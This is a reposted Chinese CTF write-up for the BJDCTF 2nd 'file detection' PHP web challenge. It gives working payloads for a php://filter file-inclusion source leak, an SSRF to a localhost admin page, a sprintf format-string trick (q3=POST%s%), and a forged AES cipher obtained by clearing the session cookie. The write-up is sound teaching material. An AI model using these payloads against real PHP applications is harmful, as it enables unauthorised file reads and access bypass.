[BJDCTF 2nd]文件探测

Posted keelongz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BJDCTF 2nd]文件探测相关的知识,希望对你有一定的参考价值。

P1 文件包含

经过假猪套的洗礼后,这回上来先来看包……

技术图片

访问home.php:

技术图片

这个URL有东西,出现了?file,怀疑是文件包含。

技术图片

????

这我就忍不了了。

技术图片

后缀都被加了fxxkyou了。有点难顶。这里仔细想一下,一开始url是:?file=system

网页回显:技术图片

那么去掉后缀试一下,成功了:

home.php?file=php://filter/read=convert.base64-encode/resource=system

技术图片

也可以读到home的:

技术图片

解码获得源码:

技术图片

P2 SSRF?

home.php:

<?php

setcookie("y1ng", sha1(md5(‘y1ng‘)), time() + 3600);//1
setcookie(‘your_ip_address‘, md5($_SERVER[‘REMOTE_ADDR‘]), time()+3600);



    else{
        if(preg_match("/home$/i", $_GET[‘file‘]) or preg_match("/system$/i", $_GET[‘file‘])){//3
            $file = $_GET[‘file‘].".php";
        }
        else{
            $file = $_GET[‘file‘].".fxxkyou!";
        }
        echo "现在访问的是 ".$file . "<br>";
        require $file;
    }
} else {
    echo "<script>location.href=‘./home.php?file=system‘</script>";
}

来分析下:

1.setcookie建立Session,目前意义不明。

setcookie("y1ng", sha1(md5(‘y1ng‘)), time() + 3600);//1
setcookie(‘your_ip_address‘, md5($_SERVER[‘REMOTE_ADDR‘]), time()+3600);

2.接受GET参数,开始疯狂过滤:

  • /^|~|&||/:过滤了^ ~ & /
  • /.?f.?l.?a.?g.?/i:带flag就gg
  • /.?a.?d.?m.?i.?n.?/i:带admin就gg
  • /^home$/i:不能只有home

3.只有参数为file或者system的时候,会拼成xxxx.php并包含。其他的就会输出文件名+fxxkyou.

限制的很死,考虑过用pcre攻击。不过因为会逐字匹配,基本到不了回溯的那一步就gg了。

来看system.php

<?php
error_reporting(0);
if (!isset($_COOKIE[‘y1ng‘]) || $_COOKIE[‘y1ng‘] !== sha1(md5(‘y1ng‘))){
    echo "<script>alert(‘why you are here!‘);alert(‘fxck your scanner‘);alert(‘fxck you! get out!‘);</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = ‘???????Error:??url invalid<br>~$ ‘;
$str3 = ‘???????Error:??damn hacker!<br>~$ ‘;
$str4 = ‘???????Error:??request method error<br>~$ ‘;

?>
<!---core代码---->
<html>
    <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
        <div class="simform-inner">
            <span><p><center>File Detector</center></p></span>
            <ol class="questions">
                <li>
                    <span><label for="q1">你知道目录下都有什么文件吗?</label></span>
                    <input id="q1" name="q1" type="text"/>
                </li>
                <li>
                    <span><label for="q2">请输入你想检测文件内容长度的url</label></span>
                    <input id="q2" name="q2" type="text"/>
                </li>
                <li>
                    <span><label for="q1">你希望以何种方式访问?GET?POST?</label></span>
                    <input id="q3" name="q3" type="text"/>
                </li>
            </ol>
</html>
<?php

$filter1 = ‘/^http://127.0.0.1//i‘;
$filter2 = ‘/.?f.?l.?a.?g.?/i‘;


if (isset($_POST[‘q1‘]) && isset($_POST[‘q2‘]) && isset($_POST[‘q3‘]) ) {
    $url = $_POST[‘q2‘].".y1ng.txt";
    $method = $_POST[‘q3‘];

    $str1 = "~$ python fuck.py -u "".$url ."" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match(‘/^GET/i‘, $method) && !preg_match(‘/^POST/i‘, $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}
?>

看下逻辑:

1.对session的内容做了限制。

2.接受POST参q1,q2,q3。q2会和.y1ng.txt拼接成url。q3会传给$method

3.拼接成的url必须符合:

  • http://127.0.0.1/

  • 不能有flag

    且q3传过来的$method必须含有GET或者POST

4.如果都pass了检测,会用file_get_contents包含内容,用sprintf输出。

那么这个页面要解决两个问题:

1.去掉url拼接的.y1ng.txt

带着这个后缀肯定是读不到东西,我们有两种办法绕过

1)POST:?hj=nb

这样我们构成的URL就是:

http://127.0.0.1/xxxxxxxx.php?hj=nb.y1ng.txt

这样URL就给我们所要的php传了一个子虚乌有的GET参数。不会影响我们访问页面。

2)利用锚点

http://127.0.0.1/xxxxxxxx.php#nb.y1ng.txt

锚点会指定到HTML页面中name标签为nb.y1ng.txt的元素,子虚乌有。一样可以正常访问。

那么是不是就可以直接构造了?还没完。

2.sprintf

$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

认识一下这个函数sprintf:

技术图片

来分析一下:

sprintf("$url method&content_size:$method%d", $detect)

如果包含成功,$detect存的是我们的文件内容。

然后会被当作%d,也就是变成正负十进制数输出。那就成了乱码。

不过这个语句还会接受$method,也就是q3的值。并且会拼到语句中。

所以得想办法利用这个点,把%d冲掉并且变成%s,我们才能输出。

说一种我想到的方法:

技术图片

所以最简单的,q3=POST%s%,这样语句就变成了:

sprintf("$url method&content_size:%s%%d", $detect)
--->
sprintf("$url method&content_size:%s%(已被转义)d", $detect)

$detect会以字符串输出,就是最后会多一个%d。

最后一个问题,现在flag读不了。那么读那个页面呢?

想到home.php出现了admin字样,那么就来读admin.php看看。

流程如下:注意需要先访问home.php,让session建立。否则直接访问system.php会报错

POST /system.php

q1=fku&q2=http://127.0.0.1/admin.php?hj=nb&q3=POST%s%

往下翻,看到admin.php的源码:

技术图片

P3 Session伪造?

来看下源码:

<?php
error_reporting(0);
session_start();
$f1ag = ‘f1ag{s1mpl3_SSRF_@nd_spr1ntf}‘; //fake

function aesEn($data, $key)
{
    $method = ‘AES-128-CBC‘;
    $iv = md5($_SERVER[‘REMOTE_ADDR‘],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE[‘your_ip_address‘]) && $_COOKIE[‘your_ip_address‘] === md5($_SERVER[‘REMOTE_ADDR‘]) && $_COOKIE[‘y1ng‘] === sha1(md5(‘y1ng‘)))
        return true;
    else
        return false;
}

if ( $_SERVER[‘REMOTE_ADDR‘] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size=‘10px‘ color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER[‘REMOTE_ADDR‘];
}


$_SESSION[‘user‘] = md5($_SERVER[‘REMOTE_ADDR‘]);

if (isset($_GET[‘decrypt‘])) {
    $decr = $_GET[‘decrypt‘];
    if (Check()){
        $data = $_SESSION[‘secret‘];
        include ‘flag_2sln2ndln2klnlksnf.php‘;
        $cipher = aesEn($data, ‘y1ng‘);
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die(‘爬‘);
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION[‘secret‘] = bin2hex(random_bytes($length));
}
?>

接着分析:

1.访问的IP会被加密。给了算法。

2.有Check,会检查Cookie中的ip和y1ng字段,哈希值对才能访问

2.传入GET参数decrypt

  • 先Check,通过后会从SESSION中取出secret作为$data
  • include疑似flag的文件,然后会对$data加密,密钥为y1ng.
  • 如果传入的参数==加密后结果,应该是会echo出flag.

3.如果不传GET参,会通过mt_srand随机生成SESSION的secret。这里用的rand(0,999999),基本无法爆破。

关键在于这一句:

$data = $_SESSION[‘secret‘];
$cipher = aesEn($data, ‘y1ng‘);

主要我们传了这个GET参,secret就不是由随机数生成的。

如果$data为空,因为给了aesEn的算法,我们就可以构造正确的$cipher

问题是$data怎样才能为空?SESSION为空即可,也就是删掉Cookie中的PHPSESSID.

步骤如下:

1.先来看看我们的ip是多少:

技术图片

2.带着我们的ip构造密钥

<?php
function aesEn($data, $key)
{
    $method = ‘AES-128-CBC‘;
    $iv = md5(‘174.0.222.75‘,true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn(‘‘,‘y1ng‘);
?>

得到:70klfZeYC+WlC045CcKhtg==

3.访问

admin.php?decrypt=70klfZeYC%2bWlC045CcKhtg%3d%3d

然后,删掉Cookie中的PHPSESSID

注意这里面带+号,直接扔进URL会被冲掉。先Urlenode一下在传

技术图片

成功获得flag:

技术图片

以上是关于[BJDCTF 2nd]文件探测的主要内容,如果未能解决你的问题,请参考以下文章

[BJDCTF 2nd]文件探测

CTF-Pwn-[BJDCTF 2nd]diff

CTF-Pwn-[BJDCTF 2nd]diff

[BJDCTF 2nd]简单注入

[BJDCTF 2nd]简单注入

[BJDCTF 2nd]简单注入